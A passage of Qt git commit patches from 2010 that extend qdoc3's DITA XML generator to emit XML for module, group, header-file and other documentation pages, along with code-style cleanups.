    \n"; + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // } /*! -- cgit v0.12 From 12ac485add4a4c7db5996dcd51400e90ea44ef23 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 8 Sep 2010 15:18:09 +0200 Subject: qdoc: Generate xml for more kinds of pages. Not complete. --- tools/qdoc3/atom.cpp | 26 ++++---- tools/qdoc3/ditaxmlgenerator.cpp | 136 ++++++++++++++++++++++++++------------- tools/qdoc3/generator.cpp | 13 ++-- 3 files changed, 114 insertions(+), 61 deletions(-) diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp index 88f44ea..6f1602e 100644 --- a/tools/qdoc3/atom.cpp +++ b/tools/qdoc3/atom.cpp @@ -241,25 +241,25 @@ static const struct { { 0, 0 } }; -/*! \fn Atom::Atom( Type type, const QString& string ) +/*! \fn Atom::Atom(Type type, const QString& string) Constructs an atom (\a type, \a string) outside of any atom list. */ -/*! \fn Atom( Atom *prev, Type type, const QString& string ) +/*! \fn Atom(Atom *prev, Type type, const QString& string) Constructs an atom (\a type, \a string) that follows \a prev in \a prev's atom list. */ -/*! \fn void Atom::appendChar( QChar ch ) +/*! \fn void Atom::appendChar(QChar ch) Appends \a ch to the string parameter of this atom. \also string() */ -/*! \fn void Atom::appendString( const QString& string ) +/*! \fn void Atom::appendString(const QString& string) Appends \a string to the string parameter of this atom. @@ -316,18 +316,18 @@ QString Atom::typeString() const { static bool deja = false; - if ( !deja ) { + if (!deja) { int i = 0; - while ( atms[i].english != 0 ) { - if ( atms[i].no != i ) - Location::internalError( tr("atom %1 missing").arg(i) ); + while (atms[i].english != 0) { + if (atms[i].no != i) + Location::internalError(tr("atom %1 missing").arg(i)); i++; } deja = true; } int i = (int) type(); - if ( i < 0 || i > (int) Last ) + if (i < 0 || i > (int) Last) return QLatin1String("Invalid"); return QLatin1String(atms[i].english); } @@ -346,10 +346,10 @@ QString Atom::typeString() const void Atom::dump() const { QString str = string(); - str.replace( "\\", "\\\\" ); - str.replace( "\"", "\\\"" ); - str.replace( "\n", "\\n" ); - str.replace( QRegExp("[^\x20-\x7e]"), "?" ); + str.replace("\\", "\\\\"); + str.replace("\"", "\\\""); + str.replace("\n", "\\n"); + str.replace(QRegExp("[^\x20-\x7e]"), "?"); if (!str.isEmpty()) str = " \"" + str + "\""; fprintf(stderr, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 93fd523..d2b20a6 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -579,7 +579,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, QString hx; static bool in_para = false; QString guid, hc; - + switch (atom->type()) { case Atom::AbstractLeft: break; @@ -1530,8 +1530,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker /* NOTE: For now we only handle \page elements. */ - if (fake->subType() != Node::Page) - return; + //if (fake->subType() != Node::Page) + //return; if (fake->subType() == Node::File && !fake->subTitle().isEmpty()) { subTitleSize = SmallSubTitle; @@ -1542,28 +1542,56 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker htmlTitle = fullTitle; } - generateHeader(fake); - - if (fake->subType() == Node::Page) { - writer.writeStartElement("topic"); - writer.writeAttribute("id",fake->guid()); - writer.writeStartElement("title"); - writer.writeCharacters(fullTitle); - writer.writeEndElement(); // + QString outputclass; + switch (fake->subType()) { + case Node::Page: + outputclass = "page"; + break; + case Node::Group: + outputclass = "group"; + break; + case Node::Example: + outputclass = "example"; + break; + case Node::HeaderFile: + outputclass = "header"; + break; + case Node::File: + outputclass = "file"; + break; + case Node::Image: + outputclass = "image"; + break; + case Node::Module: + outputclass = "module"; + break; + case Node::ExternalPage: + outputclass = "externalpage"; + break; + case Node::QmlClass: + outputclass = "QML"; + break; + default: + return; + } - generateBrief(fake, marker); // + generateHeader(fake); + + writer.writeStartElement("topic"); + writer.writeAttribute("id",fake->guid()); + writer.writeAttribute("outputclass",outputclass); + writer.writeStartElement("title"); + writer.writeCharacters(fullTitle); + writer.writeEndElement(); // + + generateBrief(fake, marker); // - if (!fake->doc().isEmpty()) { - writer.writeStartElement("body"); - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","h2"); - writer.writeCharacters("Detailed Description"); - writer.writeEndElement(); //

    - generateBody(fake, marker); - writer.writeEndElement(); // - } - writer.writeEndElement(); // + if (!fake->doc().isEmpty()) { + writer.writeStartElement("body"); + generateBody(fake, marker); + writer.writeEndElement(); // } + writer.writeEndElement(); // } #if 0 @@ -1837,11 +1865,23 @@ void DitaXmlGenerator::generateHeader(const Node* node) version + "//EN\" \"" + dtd + "\">"; } else if (node->type() == Node::Fake) { - if (node->subType() == Node::Page) { + switch (node->subType()) { + case Node::Page: + case Node::Group: + case Node::Example: + case Node::HeaderFile: + case Node::File: + case Node::Image: + case Node::Module: + case Node::ExternalPage: + case Node::QmlClass: element = "topic"; dtd = "dtd/topic.dtd"; doctype = ""; + break; + default: + break; } } @@ -2300,11 +2340,11 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, normally you let it figure it out itself by looking at the name of the first and last classes in \a classMap. */ -void DitaXmlGenerator::generateCompactList(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap, - bool includeAlphabet, - QString commonPrefix) +void DitaXmlGenerator::generateCompactList(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap, + bool includeAlphabet, + QString commonPrefix) { const int NumParagraphs = 37; // '0' to '9', 'A' to 'Z', '_' @@ -2519,42 +2559,50 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, writer.writeEndElement(); //

    } -void DitaXmlGenerator::generateFunctionIndex(const Node *relative, - CodeMarker *marker) +void DitaXmlGenerator::generateFunctionIndex(const Node* relative, + CodeMarker* marker) { - out() << "

    "; + writer.writeStartElement("p"); + writer.writeAttribute("outputclass","centerAlign functionIndex"); + writer.writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - out() << QString("%2 ").arg(ch).arg(ch.toUpper()); + writer.writeStartElement("xref"); + writer.writeAttribute("href",QString("#%1").arg(ch)); + writer.writeCharacters(QString(ch.toUpper())); + writer.writeEndElement(); // } - out() << "

    \n"; + writer.writeEndElement(); // + writer.writeEndElement(); //

    char nextLetter = 'a'; char currentLetter; - out() << "
      \n"; + writer.writeStartElement("ul"); QMap::ConstIterator f = funcIndex.begin(); while (f != funcIndex.end()) { - out() << "
    • "; - out() << protectEnc(f.key()) << ":"; - + writer.writeStartElement("li"); currentLetter = f.key()[0].unicode(); while (islower(currentLetter) && currentLetter >= nextLetter) { - out() << QString("").arg(nextLetter); + writer.writeStartElement("p"); + writeGuidAttribute(QString(nextLetter)); + writer.writeAttribute("outputclass","target"); + writer.writeCharacters(QString(nextLetter)); + writer.writeEndElement(); //

      nextLetter++; } + writer.writeCharacters(protectEnc(f.key())); + writer.writeCharacters(":"); NodeMap::ConstIterator s = (*f).begin(); while (s != (*f).end()) { - out() << " "; generateFullName((*s)->parent(), relative, marker, *s); ++s; } - out() << "
    • "; - out() << "\n"; + writer.writeEndElement(); // ++f; } - out() << "
    \n"; + writer.writeEndElement(); // } void DitaXmlGenerator::generateLegaleseList(const Node *relative, @@ -3596,7 +3644,7 @@ void DitaXmlGenerator::findAllSince(const InnerNode *node) } } -void DitaXmlGenerator::findAllFunctions(const InnerNode *node) +void DitaXmlGenerator::findAllFunctions(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3605,7 +3653,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode *node) findAllFunctions(static_cast(*c)); } else if ((*c)->type() == Node::Function) { - const FunctionNode *func = static_cast(*c); + const FunctionNode* func = static_cast(*c); if ((func->status() > Node::Obsolete) && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 7f39be2..eee998a 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -54,6 +54,7 @@ #include "quoter.h" #include "separator.h" #include "tokenizer.h" +#include "ditaxmlgenerator.h" QT_BEGIN_NAMESPACE @@ -385,16 +386,19 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) } else if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); - if (fake->subType() == Node::Example) + if (fake->subType() == Node::Example) { generateExampleFiles(fake, marker); - else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) + } + else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) { quiet = true; + } } if (node->doc().isEmpty()) { - if (!quiet && !node->isReimp()) // ### might be unnecessary + if (!quiet && !node->isReimp()) { // ### might be unnecessary node->location().warning(tr("No documentation for '%1'") .arg(marker->plainFullName(node))); + } } else { if (node->type() == Node::Function) { @@ -403,9 +407,10 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) generateReimplementedFrom(func, marker); } - if (!generateText(node->doc().body(), node, marker)) + if (!generateText(node->doc().body(), node, marker)) { if (node->isReimp()) return; + } if (node->type() == Node::Enum) { const EnumNode *enume = (const EnumNode *) node; -- cgit v0.12 From 7d5366966e4f29b1ccf112e42bc32a3f64bfb0bb Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Sep 2010 09:58:27 +0200 Subject: qdoc: Generate more xml for module pages. --- tools/qdoc3/ditaxmlgenerator.cpp | 66 +++++++++++++++++++++++++--------------- tools/qdoc3/ditaxmlgenerator.h | 3 ++ 2 files changed, 44 insertions(+), 25 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d2b20a6..55e873f 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -657,14 +657,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::Code: writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writeText(atom->string(), marker, relative); + writeText(trimmedTrailing(atom->string()), marker, relative); writer.writeEndElement(); // break; case Atom::Qml: writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writeText(atom->string(), marker, relative); - writer.writeEndElement(); // pre + writeText(trimmedTrailing(atom->string()), marker, relative); + writer.writeEndElement(); // break; case Atom::CodeNew: writer.writeStartElement("p"); @@ -672,7 +672,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writer.writeEndElement(); //

    writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writeText(atom->string(), marker, relative); + writeText(trimmedTrailing(atom->string()), marker, relative); writer.writeEndElement(); // break; case Atom::CodeOld: @@ -683,7 +683,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::CodeBad: writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))); + writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); writer.writeEndElement(); // break; case Atom::FootnoteLeft: @@ -1516,6 +1516,25 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } /*! + Write a paragraph for the \a target and a poaragraph for + the \a header. Use the \a attribute for the \a header. + */ +void DitaXmlGenerator::writeTargetAndHeader(const QString& target, + const QString& header, + const QString& attribute) +{ + writer.writeStartElement("p"); + writeGuidAttribute(registerRef(target)); + writer.writeAttribute("outputclass","target"); + writer.writeCharacters(header); + writer.writeEndElement(); //

    + writer.writeStartElement("p"); + writer.writeAttribute("outputclass",attribute); + writer.writeCharacters(header); + writer.writeEndElement(); //

    +} + +/*! Generate the html page for a qdoc file that doesn't map to an underlying c++ file. */ @@ -1585,10 +1604,25 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker writer.writeEndElement(); // generateBrief(fake, marker); // + if (fake->subType() == Node::Module) { + generateStatus(fake, marker); + if (moduleNamespaceMap.contains(fake->name())) { + writeTargetAndHeader("namespaces","Namespaces","h2"); + generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]); + } + if (moduleClassMap.contains(fake->name())) { + writeTargetAndHeader("classes","Classes","h2"); + generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); + } + } if (!fake->doc().isEmpty()) { writer.writeStartElement("body"); + if (fake->subType() == Node::Module) { + writeTargetAndHeader("details","Detailed Description","h2"); + } generateBody(fake, marker); + generateAlsoList(fake, marker); writer.writeEndElement(); // } writer.writeEndElement(); // @@ -1608,22 +1642,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker fake, marker); - if (fake->subType() == Node::Module) { - // Generate brief text and status for modules. - generateBrief(fake, marker); - generateStatus(fake, marker); - if (moduleNamespaceMap.contains(fake->name())) { - out() << "\n"; - out() << "

    Namespaces

    \n"; - generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]); - } - if (moduleClassMap.contains(fake->name())) { - out() << "\n"; - out() << "

    Classes

    \n"; - generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); - } - } else if (fake->subType() == Node::HeaderFile) { // Generate brief text and status for modules. generateBrief(fake, marker); @@ -1711,10 +1730,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker else out() << "
    \n"; // QTBUG-9504 - generateBody(fake, marker); - out() << "
    \n"; // QTBUG-9504 - generateAlsoList(fake, marker); - if (!fake->groupMembers().isEmpty()) { NodeMap groupMembersMap; foreach (const Node *node, fake->groupMembers()) { @@ -3248,7 +3263,8 @@ QString DitaXmlGenerator::registerRef(const QString& ref) if (prevRef.isEmpty()) { prevRef = ref; break; - } else if (prevRef == ref) { + } + else if (prevRef == ref) { break; } clean += "x"; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 91d7147..fe7a434 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -110,6 +110,9 @@ class DitaXmlGenerator : public PageGenerator virtual QString linkForNode(const Node *node, const Node *relative); virtual QString refForAtom(Atom *atom, const Node *node); + void writeTargetAndHeader(const QString& target, + const QString& header, + const QString& attribute); QString fullQualification(const Node* n); void writeDerivations(const ClassNode* cn, CodeMarker* marker); -- cgit v0.12 From d623e2bb039111957efd5edd7da84e3c5a22751e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Sep 2010 10:40:01 +0200 Subject: qdoc: Generate more xml for group pages. --- tools/qdoc3/ditaxmlgenerator.cpp | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 55e873f..cd644ec 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1623,6 +1623,16 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateBody(fake, marker); generateAlsoList(fake, marker); + + if (!fake->groupMembers().isEmpty()) { + NodeMap groupMembersMap; + foreach (const Node *node, fake->groupMembers()) { + if (node->type() == Node::Class || node->type() == Node::Namespace) + groupMembersMap[node->name()] = node; + } + generateAnnotatedList(fake, marker, groupMembersMap); + } + writer.writeEndElement(); // } writer.writeEndElement(); // @@ -1730,15 +1740,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker else out() << "
    \n"; // QTBUG-9504 - if (!fake->groupMembers().isEmpty()) { - NodeMap groupMembersMap; - foreach (const Node *node, fake->groupMembers()) { - if (node->type() == Node::Class || node->type() == Node::Namespace) - groupMembersMap[node->name()] = node; - } - generateAnnotatedList(fake, marker, groupMembersMap); - } - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { -- cgit v0.12 From 916b610a272f1a1db41ad4177651e34904dd18a0 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Sep 2010 13:45:58 +0200 Subject: qdoc: Generate more xml for group pages. --- tools/qdoc3/ditaxmlgenerator.cpp | 278 +++++++++++++++++++++------------------ tools/qdoc3/ditaxmlgenerator.h | 195 +++++++++++++-------------- tools/qdoc3/generator.cpp | 6 +- 3 files changed, 252 insertions(+), 227 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index cd644ec..1ff9592 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -928,13 +928,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - - writer.writeStartElement("li"); - writer.writeStartElement("xref"); - writer.writeAttribute("href",QString("#" + Doc::canonicalTitle((*s).name))); - writer.writeCharacters((*s).name); - writer.writeEndElement(); // - writer.writeEndElement(); //
  • + writeXrefListItem(QString("#" + Doc::canonicalTitle((*s).name)), + (*s).name); } ++s; } @@ -1535,6 +1530,19 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, } /*! + Write a list item for a \a link with the given \a text. + */ +void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) +{ + writer.writeStartElement("li"); + writer.writeStartElement("xref"); + writer.writeAttribute("href",link); + writer.writeCharacters(text); + writer.writeEndElement(); // + writer.writeEndElement(); // +} + +/*! Generate the html page for a qdoc file that doesn't map to an underlying c++ file. */ @@ -1615,6 +1623,31 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); } } + else if (fake->subType() == Node::HeaderFile) { + generateStatus(fake, marker); + writer.writeStartElement("ul"); + + QString membersLink = generateListOfAllMemberFile(fake, marker); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + + QString obsoleteLink = generateLowStatusMemberFile(fake, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + + QString compatLink = generateLowStatusMemberFile(fake, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + + writer.writeEndElement(); // + } if (!fake->doc().isEmpty()) { writer.writeStartElement("body"); @@ -1631,7 +1664,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker groupMembersMap[node->name()] = node; } generateAnnotatedList(fake, marker, groupMembersMap); - } + } writer.writeEndElement(); // } @@ -1653,34 +1686,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker marker); - else if (fake->subType() == Node::HeaderFile) { - // Generate brief text and status for modules. - generateBrief(fake, marker); - generateStatus(fake, marker); - - out() << "
      \n"; - - QString membersLink = generateListOfAllMemberFile(fake, marker); - if (!membersLink.isEmpty()) - out() << "
    • " - << "List of all members, including inherited members
    • \n"; - - QString obsoleteLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) - out() << "
    • " - << "Obsolete members
    • \n"; - - QString compatLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) - out() << "
    • " - << "Qt 3 support members
    • \n"; - - out() << "
    \n"; - } else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); @@ -2177,8 +2182,8 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, return fileName; } -QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode *inner, - CodeMarker *marker, +QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, + CodeMarker* marker, CodeMarker::Status status) { QList
    sections = marker->sections(inner, @@ -2193,7 +2198,6 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode *inner, return QString(); int i; - QString title; QString fileName; @@ -2640,10 +2644,10 @@ void DitaXmlGenerator::generateLegaleseList(const Node *relative, } } -void DitaXmlGenerator::generateQmlItem(const Node *node, - const Node *relative, - CodeMarker *marker, - bool summary) +void DitaXmlGenerator::generateQmlItem(const Node* node, + const Node* relative, + CodeMarker* marker, + bool summary) { QString marked = marker->markedUpQmlItem(node,summary); QRegExp templateTag("(<[^@>]*>)"); @@ -2671,17 +2675,17 @@ void DitaXmlGenerator::generateQmlItem(const Node *node, writeText(marked, marker, relative); } -void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /* marker */) +void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* marker */) { - QMap > fakeNodeMap; - QMap groupTitlesMap; - QMap uncategorizedNodeMap; + QMap > fakeNodeMap; + QMap groupTitlesMap; + QMap uncategorizedNodeMap; QRegExp singleDigit("\\b([0-9])\\b"); const NodeList children = myTree->root()->childNodes(); - foreach (Node *child, children) { + foreach (Node* child, children) { if (child->type() == Node::Fake && child != relative) { - FakeNode *fakeNode = static_cast(child); + FakeNode* fakeNode = static_cast(child); // Check whether the page is part of a group or is the group // definition page. @@ -2713,24 +2717,25 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * / if (isGroupPage) { // If we encounter a group definition page, we add all // the pages in that group to the list for that group. - foreach (Node *member, fakeNode->groupMembers()) { + foreach (Node* member, fakeNode->groupMembers()) { if (member->type() != Node::Fake) continue; - FakeNode *page = static_cast(member); + FakeNode* page = static_cast(member); if (page) { QString sortKey = page->fullTitle().toLower(); if (sortKey.startsWith("the ")) sortKey.remove(0, 4); sortKey.replace(singleDigit, "0\\1"); - fakeNodeMap[const_cast(fakeNode)].insert(sortKey, page); - groupTitlesMap[fakeNode->fullTitle()] = const_cast(fakeNode); + fakeNodeMap[const_cast(fakeNode)].insert(sortKey, page); + groupTitlesMap[fakeNode->fullTitle()] = const_cast(fakeNode); } } } else if (!isGroupPage) { // If we encounter a page that belongs to a group then // we add that page to the list for that group. - const FakeNode *groupNode = static_cast(myTree->root()->findNode(group, Node::Fake)); + const FakeNode* groupNode = + static_cast(myTree->root()->findNode(group, Node::Fake)); if (groupNode) fakeNodeMap[groupNode].insert(sortKey, fakeNode); //else @@ -2786,9 +2791,9 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * / } void DitaXmlGenerator::generateSection(const NodeList& nl, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { bool name_alignment = true; if (!nl.isEmpty()) { @@ -2878,9 +2883,9 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } void DitaXmlGenerator::generateSectionList(const Section& section, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { bool name_alignment = true; if (!section.members.isEmpty()) { @@ -2946,9 +2951,9 @@ void DitaXmlGenerator::generateSectionList(const Section& section, } void DitaXmlGenerator::generateSectionInheritedList(const Section& section, - const Node *relative, - CodeMarker *marker, - bool nameAlignment) + const Node* relative, + CodeMarker* marker, + bool nameAlignment) { QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { @@ -3165,8 +3170,8 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } void DitaXmlGenerator::generateLink(const Atom* atom, - const Node* /* relative */, - CodeMarker* marker) + const Node* /* relative */, + CodeMarker* marker) { static QRegExp camelCase("[A-Z][A-Z][a-z]|[a-z][A-Z0-9]|_"); @@ -3183,7 +3188,8 @@ void DitaXmlGenerator::generateLink(const Atom* atom, } inLink = false; writer.writeCharacters(protectEnc(atom->string().mid(k))); - } else if (marker->recognizeLanguage("Java")) { + } + else if (marker->recognizeLanguage("Java")) { // hack for Java: remove () and use when appropriate bool func = atom->string().endsWith("()"); bool tt = (func || atom->string().contains(camelCase)); @@ -3214,14 +3220,17 @@ QString DitaXmlGenerator::cleanRef(const QString& ref) const uint u = c.unicode(); if ((u >= 'a' && u <= 'z') || - (u >= 'A' && u <= 'Z') || - (u >= '0' && u <= '9')) { + (u >= 'A' && u <= 'Z') || + (u >= '0' && u <= '9')) { clean += c; - } else if (u == '~') { + } + else if (u == '~') { clean += "dtor."; - } else if (u == '_') { + } + else if (u == '_') { clean += "underscore."; - } else { + } + else { clean += "A"; } @@ -3229,25 +3238,33 @@ QString DitaXmlGenerator::cleanRef(const QString& ref) const QChar c = ref[i]; const uint u = c.unicode(); if ((u >= 'a' && u <= 'z') || - (u >= 'A' && u <= 'Z') || - (u >= '0' && u <= '9') || u == '-' || - u == '_' || u == ':' || u == '.') { + (u >= 'A' && u <= 'Z') || + (u >= '0' && u <= '9') || u == '-' || + u == '_' || u == ':' || u == '.') { clean += c; - } else if (c.isSpace()) { + } + else if (c.isSpace()) { clean += "-"; - } else if (u == '!') { + } + else if (u == '!') { clean += "-not"; - } else if (u == '&') { + } + else if (u == '&') { clean += "-and"; - } else if (u == '<') { + } + else if (u == '<') { clean += "-lt"; - } else if (u == '=') { + } + else if (u == '=') { clean += "-eq"; - } else if (u == '>') { + } + else if (u == '>') { clean += "-gt"; - } else if (u == '#') { + } + else if (u == '#') { clean += "#"; - } else { + } + else { clean += "-"; clean += QString::number((int)u, 16); } @@ -3273,12 +3290,12 @@ QString DitaXmlGenerator::registerRef(const QString& ref) return clean; } -QString DitaXmlGenerator::protectEnc(const QString &string) +QString DitaXmlGenerator::protectEnc(const QString& string) { return protect(string, outputEncoding); } -QString DitaXmlGenerator::protect(const QString &string, const QString &outputEncoding) +QString DitaXmlGenerator::protect(const QString& string, const QString& outputEncoding) { #define APPEND(x) \ if (xml.isEmpty()) { \ @@ -3295,20 +3312,25 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn if (ch == QLatin1Char('&')) { APPEND("&"); - } else if (ch == QLatin1Char('<')) { + } + else if (ch == QLatin1Char('<')) { APPEND("<"); - } else if (ch == QLatin1Char('>')) { + } + else if (ch == QLatin1Char('>')) { APPEND(">"); - } else if (ch == QLatin1Char('"')) { + } + else if (ch == QLatin1Char('"')) { APPEND("""); - } else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) - || (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) - || (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) { + } + else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) || + (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) || + (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) { // we escape '*/' and the last dot in 'e.g.' and 'i.e.' for the Javadoc generator APPEND("&#x"); xml += QString::number(ch.unicode(), 16); xml += QLatin1Char(';'); - } else { + } + else { if (!xml.isEmpty()) xml += ch; } @@ -3321,12 +3343,10 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn #undef APPEND } -QString DitaXmlGenerator::fileBase(const Node *node) +QString DitaXmlGenerator::fileBase(const Node* node) { QString result; - result = PageGenerator::fileBase(node); - if (!node->isInnerNode()) { switch (node->status()) { case Node::Compat: @@ -3342,21 +3362,21 @@ QString DitaXmlGenerator::fileBase(const Node *node) return result; } -QString DitaXmlGenerator::fileName(const Node *node) +QString DitaXmlGenerator::fileName(const Node* node) { if (node->type() == Node::Fake) { - if (static_cast(node)->subType() == Node::ExternalPage) + if (static_cast(node)->subType() == Node::ExternalPage) return node->name(); - if (static_cast(node)->subType() == Node::Image) + if (static_cast(node)->subType() == Node::Image) return node->name(); } return PageGenerator::fileName(node); } -QString DitaXmlGenerator::refForNode(const Node *node) +QString DitaXmlGenerator::refForNode(const Node* node) { - const FunctionNode *func; - const TypedefNode *typedeffe; + const FunctionNode* func; + const TypedefNode* typedeffe; QString ref; switch (node->type()) { @@ -3409,7 +3429,7 @@ QString DitaXmlGenerator::refForNode(const Node *node) return registerRef(ref); } -QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative) +QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) { QString link; QString fn; @@ -3438,7 +3458,7 @@ QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative) return link; } -QString DitaXmlGenerator::refForAtom(Atom *atom, const Node * /* node */) +QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) { if (atom->type() == Atom::SectionLeft) { return Doc::canonicalTitle(Text::sectionHeading(atom).toString()); @@ -3544,7 +3564,7 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, generateAlsoList(node, marker); } -void DitaXmlGenerator::findAllClasses(const InnerNode *node) +void DitaXmlGenerator::findAllClasses(const InnerNode* node) { NodeList::const_iterator c = node->childNodes().constBegin(); while (c != node->childNodes().constEnd()) { @@ -3601,7 +3621,7 @@ void DitaXmlGenerator::findAllClasses(const InnerNode *node) For generating the "New Classes... in 4.x" section on the What's New in 4.x" page. */ -void DitaXmlGenerator::findAllSince(const InnerNode *node) +void DitaXmlGenerator::findAllSince(const InnerNode* node) { NodeList::const_iterator child = node->childNodes().constBegin(); while (child != node->childNodes().constEnd()) { @@ -3667,7 +3687,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode* node) while (c != node->childNodes().end()) { if ((*c)->access() != Node::Private) { if ((*c)->isInnerNode() && (*c)->url().isEmpty()) { - findAllFunctions(static_cast(*c)); + findAllFunctions(static_cast(*c)); } else 